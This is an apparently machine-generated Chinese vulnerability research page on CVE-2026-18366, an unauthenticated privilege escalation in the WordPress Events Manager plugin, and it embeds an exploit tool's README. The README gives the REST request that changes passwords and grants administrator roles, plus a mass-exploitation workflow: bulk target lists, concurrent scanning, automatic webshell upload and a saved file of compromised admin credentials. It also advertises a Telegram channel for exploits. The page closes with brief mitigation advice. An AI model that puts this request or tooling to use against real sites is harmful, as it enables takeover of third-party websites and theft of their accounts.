🔥 CVE-2026-18366 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-18366 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>CVE-2026-18366 是 WordPress 的 Events Manager 插件(&lt; 7.4.1)中一个 CVSS 9.8 的未认证权限提升漏洞。漏洞根因是插件在自定义能力映射过程中错误地将任意数字 ID 当作“事件/地点文章 ID”处理,并清空 WordPress 已生成的原始能力列表,导致未认证攻击者可能修改管理员密码、将任意账户提升为 Administrator,或删除任意账户。本文对该漏洞的技术原理、利用条件、危害及修复方案进行深度分析。</p> <h2>📌 漏洞概述</h2> <p>CVE-2026-

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源Nxploited/CVE-2026-18366针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-18366
Events Manager &lt;7.4.1 - Unauthenticated Privilege Escalation to Administrator


<p align="center"><img src="https://img.shields.io/badge/CVE-2026--18366-critical?style=for-the-badge&labelColor=000000&color=FF0000" alt="CVE"/><img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-red?style=for-the-badge&labelColor=000000" alt="CVSS"/>
<img src="https://img.shields.io/badge/WordPress-Events_Manager-blue?style=for-the-badge&labelColor=000000" alt="WordPress"/></p><p align="center">
<img width="650" src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=600&size=28&duration=3000&pause=1000&color=00FF00&center=true&vCenter=true&width=650&lines=CVE-2026-18366;Unauthenticated+Privilege+Escalation;Events+Manager+%3C+7.4.1" alt="Typing SVG"/></p>---

<div align="center">
## 🔗 Stay Updated

<a href="https://t.me/KNxploited"><img src="https://img.shields.io/badge/Telegram-@KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/></a>**For the latest zero-days,exploits,
and security research**

[![Telegram Channel](https://img.shields.io/badge/Join_Now-Latest_Exploits-00FF00?style=flat-square&logo=telegram)](https://t.me/KNxploited)

</div>---

## 📋 Vulnerability Overview

|Attribute |Details ||-----------|---------||**CVE ID** |CVE-2026-18366 ||**Severity** |🔴 **CRITICAL** (CVSS 9.8) ||**Plugin** |Events Manager for WordPress ||**Affected Versions** |
<7.4.1 ||**Vulnerability Type** |Unauthenticated Privilege Escalation ||**Attack Vector** |Network ||**Authentication Required** |None |
---

## 🔍 Technical Description

### Root Cause Analysis

The vulnerability exists in `EM\Archetypes::map_meta_cap` within `classes/em-archetypes.php`. The plugin improperly scopes its capability mapping by:

1. Treating **ANY** object ID as a post ID
2. If the post is an `event` or `location` CPT,it wipes `$caps = []`
3. Never refills capabilities for `edit_user`,`delete_user`,
or `promote_user`
4. Empty caps → `has_cap()` returns `true`,including for user 0 (guest)

### Attack Vector

```
POST|PUT|PATCH  /wp-json/wp/v2/users/{id}POST            /index.php?rest_route=/wp/v2/users/{id}Body: {"password":"...","roles":["administrator"]}```

**Condition:** `{id}` must equal `wp_posts.ID` of an event or location CPT.

>
⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).

### Guest Booking Exploitation

Guest bookings (`dbem_bookings_anonymous=1` by default) create real WP users,
enabling collision forcing. The booking nonce is publicly available on event forms.

---

## 🚀 Usage

### Requirements

```bash
pip install aiohttp
```

### Quick Start

```bash
python CVE-2026-18366.py
```

The script will prompt for:
- **list** → Path to target list file (default: `list.txt`)
- **speed** → Concurrent workers (default: 10)

### Command Line Options

```bash
python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
```

|
Option |Description ||--------|-------------||`-l,--list` |Path to file containing target URLs ||`-s,--speed` |Number of concurrent workers (1-200) ||`--timeout` |Request timeout in seconds (default: 20) |
### Target List Format

Create a `list.txt` file with one target per line:

```
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
```

---

## 📊 Output

### Console Output

```
[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...
```

### Results File

Successful compromises are saved to `adminS.txt`:

```
https://target.com |
username:Nx_admin_@!KSA |uid=X |path=id-collision |ADMIN |
shell_url
```

---

## 🔄 Exploitation Workflow

```
┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-18366 Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐    ┌─────────────┐    ┌──────────────────────┐   │
│  │  Detect  │ →  │ Collect IDs │ →  │  PATH A: ID Brute    │   │
│  │  Plugin  │    │  (CPT/HTML) │    │  REST /users/{id}
│   │
│  └──────────┘    └─────────────┘    └──────────┬───────────┘   │
│                                                 │               │
│                                          ┌──────▼──────┐        │
│                                          │   Success?  │        │
│                                          └──────┬──────┘        │
│                                       No │      │ Yes           │
│                               ┌──────────▼──────▼──────────┐    │
│                               │                            │    │
│  ┌──────────────────────┐     │    ┌─────────────────┐     │    │
│  │  PATH B: Guest Book  │ ←───┘    │  Login + Verify │     │    │
│  │  Create user until   │          │  Admin Access   │     │    │
│  │  user_id == post_id  │          └────────┬────────┘     │    │
│  └──────────────────────┘                   │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │  Upload Shell   │     │    │
│                                    │  (Plugin/Theme) │     │    │
│                                    └────────┬────────┘     │    │
│                                             │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │   Save Results  │     │    │
│                                    │   adminS.txt    │     │    │
│                                    └─────────────────┘     │    │
│                                                            │    │
└────────────────────────────────────────────────────────────────┘
```

---

## ⚙️ Features

- **Async Architecture** → High-performance concurrent scanning
- **Dual Attack Paths** → ID collision + Guest booking exploitation  
- **Auto Shell Upload** → Plugin/Theme webshell deployment
- **Version Detection** → Automatic vulnerable version identification
- **Smart Username Enum** → Multiple enumeration techniques
- **Login Verification** → Cookie + XML-RPC validation
- **Privilege Escalation** → Auto-promote to administrator

---

## 📁 File Structure

```
├── CVE-2026-18366.py    # Main exploit script
├── list.txt             # Target URLs (create this)
├── adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation
```

---

## ⚠️ Disclaimer

<div align="center">
```
╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║                                                                  ║
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║                                                                  ║
║  • Only use on systems you own or have explicit permission      ║
║  • Unauthorized access to computer systems is ILLEGAL           ║
║  • The author is NOT responsible for any misuse or damage       ║
║  • By using this tool,
you agree to these terms                 ║
║                                                                  ║
║  Use responsibly. Stay ethical. Respect the law.                ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝
```

</div>
---

## 🛡️ Mitigation

If you are a WordPress administrator:

1. **Update** Events Manager to version **7.4.1** or later
2. **Audit** user accounts for unauthorized changes
3. **Review** access logs for suspicious REST API activity
4. **Implement** WAF rules to filter malicious requests

---

<div align="center">
## 👤 Author

**Nxploited** (Khaled Alenzi)

[![Telegram](https://img.shields.io/badge/Telegram-@KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/KNxploited)

---

<sub>Security Research • Ethical Hacking • Zero-Day Discovery</sub></div>

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-18 03:01

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)